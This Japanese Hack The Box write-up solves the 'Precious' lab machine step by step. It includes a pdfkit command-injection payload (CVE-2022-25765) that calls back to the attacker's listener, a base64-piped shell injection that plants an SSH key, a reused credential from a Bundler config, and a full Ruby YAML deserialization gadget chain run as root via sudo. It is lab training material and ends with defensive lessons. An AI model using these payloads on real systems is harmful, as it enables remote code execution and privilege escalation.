Hack The BoxのWriteup(Precious)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Precious — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
pdfkit URLコマンド注入
CVE-2022-25765
→
SSH公開鍵注入
ruby ユーザー authorized_keys
→
~/.bundle/config漏洩
henry:Q3c1AqGHtoI0aXAYFH
→
SSH henry
user.txt ✓
→
sudo NOPASSWD ruby script
YAML.loadの安全でない読込
→
Rubyユニバーサルガジェット
Kernel.system呼出し
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostリダイレクトの確認

BASH
nmap -sV -sC -p 22,80 10.129.91.207
curl -sI http://10.129.91.207/
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open  http    nginx 1.18.0

HTTP/1.1 302 Moved Temporarily
Location: http://precious.htb/

サイト内容の確認 — “URLをPDF化する”ツール

BASH
echo "10.129.91.207 precious.htb" | sudo tee -a /etc/hosts
curl -s http://precious.htb/
RESULT
<title>Convert Web Page to PDF</title>
<h1 class="title">Convert Web Page to PDF</h1>
<form action="/" method="post">
    <p>Enter URL to fetch</p><br>
    <input type="text" name="url" value="">
    <input type="submit" value="Submit">
</form>
ℹ️
入力したURLのページをPDF化してダウンロードさせてくれるシンプルなWebアプリ。 生成されたPDFのメタデータにCreator (wkhtmltopdf 0.12.6)が含まれており、 Rubyのpdfkitgemが裏でwkhtmltopdfを呼び出していると分かる。
PHASE 2

pdfkit 0.8.6 のURLコマンドインジェクション (CVE-2022-25765)

脆弱性の概要

NOTE
pdfkit <= 0.8.7.2 は、PDF化対象のURLを検証する際、"file://" や相対パスは
弾くものの、URLの先頭に半角スペース(%20)を1つ入れるだけでそのチェックを
バイパスできる。さらに、内部で wkhtmltopdf をシェル経由で呼び出す際に
URL文字列をエスケープせずそのまま連結しているため、
バッククォート ` や $(...) を含むURLを渡すと任意のシェルコマンドが実行される。

コマンドインジェクションの確認(自前リスナーで id を確認)

BASH (Kali側リスナー)
python3 -m http.server 8899
BASH (注入リクエスト)
curl -s -X POST --data-urlencode \
  'url=http://10.10.15.200:8899/%20`id`' \
  http://precious.htb/
RESULT (Kali側リスナーのアクセスログ)
10.129.91.207 - - [...] "GET /%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 404 -
✅
`id`の実行結果がそのままURL文字列に展開され、 攻撃者サーバーへのリクエストパスに現れた。これは「コマンドの出力結果を URL文字列の一部として埋め込んだ上でそのURLにアクセスする」ことで、 レスポンスを一切介さずコマンド出力を確認できる典型的なブラインドRCE確認手法。 先頭の%20(スペース)がpdfkitのURL検証バイパスに必要な部分。 実行ユーザーはrubyと判明。
PHASE 3

SSH公開鍵注入と .bundle/config からの資格情報発見

rubyユーザーにSSH公開鍵を注入

BASH
ssh-keygen -t ed25519 -f prec_key -N "" -q
PUBKEY=$(cat prec_key.pub)
CMD="mkdir -p /home/ruby/.ssh && echo '$PUBKEY' >> /home/ruby/.ssh/authorized_keys \
  && chmod 700 /home/ruby/.ssh && chmod 600 /home/ruby/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)
curl -s -X POST --data-urlencode \
  "url=http://10.10.15.200:8899/%20\`echo ${B64}|base64 -d|sh\`" \
  http://precious.htb/
ℹ️
このマシンでも他の多くのマシンと同様、複雑なコマンドはbase64でラップして base64 -d|shに渡す方式が確実。バッククォート内に直接複雑な コマンドを書くと引用符の衝突で壊れやすい。

注入した鍵でSSHログイン & Bundlerの資格情報を発見

BASH
ssh -i prec_key -o StrictHostKeyChecking=no ruby@10.129.91.207 \
  "id; hostname; cat ~/.bundle/config"
RESULT
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
precious
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
🚨
RubyGemsのプライベートリポジトリ認証用にbundle configで 設定された資格情報が、OSアカウントhenryのログインパスワードとしても そのまま使い回されている。~/.bundle/configはアプリ開発者が よく見落とす「隠れた設定ファイル」の典型例。
PHASE 4

henryとしてSSHログイン & user.txt取得

henryでSSHログイン

BASH
sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@10.129.91.207 \
  "id; cat /home/henry/user.txt"
RESULT
uid=1000(henry) gid=1000(henry) groups=1000(henry)
f5ece6e3d6f1e65e3bef58c899e71330
user.txt — henry
f5ece6e3d6f1e65e3bef58c899e71330
PHASE 5

sudo権限の確認とYAML.loadの安全でない利用を発見

sudo -l でroot実行可能なスクリプトを確認

BASH
henry@precious:~$ sudo -l
RESULT
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

update_dependencies.rb のソースを確認

BASH
henry@precious:~$ cat /opt/update_dependencies.rb
RESULT
require "yaml"
require 'rubygems'

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
...
🚨
2つの問題が重なっている。①YAML.load(Psych)は任意のRubyオブジェクトを 復元できてしまい、安全な読込専用のYAML.safe_loadではない — 長年知られる「Rubyの安全でないYAMLデシリアライゼーション」問題の典型。 ②読み込むファイル"dependencies.yml"が相対パスであり、 sudoはカレントディレクトリを引き継ぐため、 henryが好きな場所(例: /tmp)に自作のdependencies.ymlを 置いて、そのディレクトリでsudo ruby /opt/update_dependencies.rbを実行すれば、 root権限でそのファイルが読み込まれる。
PHASE 6

Rubyユニバーサルデシリアライゼーションガジェット & root.txt

悪意あるYAMLペイロードの作成

NOTE
Rubyのpsych/YAML向けに広く知られる「ユニバーサルRCEガジェットチェーン」を使う。
Gem::RequestSet のインスタンス変数 sets に Net::WriteAdapter オブジェクトを仕込み、
その socket に Kernel モジュール、method_id に :system を指定しておくと、
YAML読込後にライブラリ内部処理が走る過程で最終的に
"Kernel.system(git_set の値)" が実行される、という連鎖。
BASH (dependencies.yml を作成しアップロード)
cat > dependencies.yml << 'EOF'
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "cp /root/root.txt /tmp/.rf && chmod 644 /tmp/.rf"
         method_id: :resolve
EOF
b64=$(base64 -w0 dependencies.yml)
ssh henry@10.129.91.207 "echo '$b64' | base64 -d > /tmp/dependencies.yml"
ℹ️
実行したいコマンドはgit_setフィールドの値として渡す (Gem::RequestSet#resolve内部の特定の処理経路がこの値を 最終的にsystem()へ渡すことを利用)。ここでは /root/root.txtを世界読み取り可能な/tmp/.rfにコピーしている。

sudoでスクリプトを実行しガジェットを発火

BASH
henry@precious:~$ cd /tmp && sudo /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /tmp/.rf
RESULT
sh: 1: reading: not found
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
    from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
    ...(大量のスタックトレース。最終的に例外で異常終了するが、
         system() 自体はその前に実行されている)...
    from /opt/update_dependencies.rb:10:in `list_from_file'

9c0e65e743392e9e7e607ac49de185d5
✅
スクリプト自体は例外を吐いて異常終了するが、ガジェットチェーンが発火する過程で Kernel.system("cp /root/root.txt /tmp/.rf && chmod 644 /tmp/.rf")が root権限で既に実行済み。そのため最終的にクラッシュしても、 /tmp/.rfには既にroot.txtの中身がコピーされている。
root.txt — root (Ruby YAMLガジェット経由)
9c0e65e743392e9e7e607ac49de185d5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — henry
f5ece6e3d6f1e65e3bef58c899e71330
root.txt — root
9c0e65e743392e9e7e607ac49de185d5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2022-25765 (pdfkit URLコマンドインジェクション) pdfkit <= 0.8.7.2 ("Convert Web Page to PDF") リモートコード実行(ruby権限) Critical URL先頭に%20を付けてファイル名検証を回避し、バッククォートでシェルコマンドを注入
設定ファイルの資格情報使い回し ~/.bundle/config (RubyGems認証) OSアカウント(henry)の乗っ取り High Bundler用プライベートgemリポジトリの認証情報がSSHパスワードとしても有効
安全でないYAMLデシリアライゼーション /opt/update_dependencies.rb (sudo実行可) 権限昇格(一般ユーザー → root) Critical YAML.load(非safe版)+相対パス読込を悪用し、Rubyの公知ユニバーサルガジェットチェーンでKernel.systemを呼び出す

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhostリダイレクト追跡22(SSH)/80(nginx precious.htb)
2RCEpdfkit URLコマンドインジェクションruby権限での任意コマンド実行
3横移動SSH鍵注入 + .bundle/config読取henry:Q3c1AqGHtoI0aXAYFH
4フットホールドSSHuser.txt(henry)
5権限調査sudo -l + スクリプト読取YAML.loadの安全でない利用を発見
6権限昇格Rubyガジェットチェーン + sudo実行root.txt

学んだ教訓 & 防御策

問題点防御策
外部ライブラリ(pdfkit)の既知脆弱性が未パッチのまま使用されている 依存ライブラリ・gemは定期的に更新し、CVEデータベースと照合する。ユーザー制御のURLを外部コマンドに渡す設計自体を避ける。
パッケージマネージャー用の認証情報がOSログインにも使い回されている 用途ごとに独立した資格情報を発行し、使い回しを禁止する運用ルールを徹底する。
信頼できない入力に対しYAML.load(非safe)を使用 外部入力由来のYAMLは必ずYAML.safe_load(許可クラスのホワイトリスト指定)を使う。任意オブジェクト復元が必要な場面は原則存在しない。
sudoで許可されたスクリプトが相対パスでファイルを読み込んでいる root権限で実行されるスクリプトは、読み込むファイルを絶対パスで固定し、実行時のカレントディレクトリに依存しないようにする。
HackTheBox: Precious | 完全攻略レポート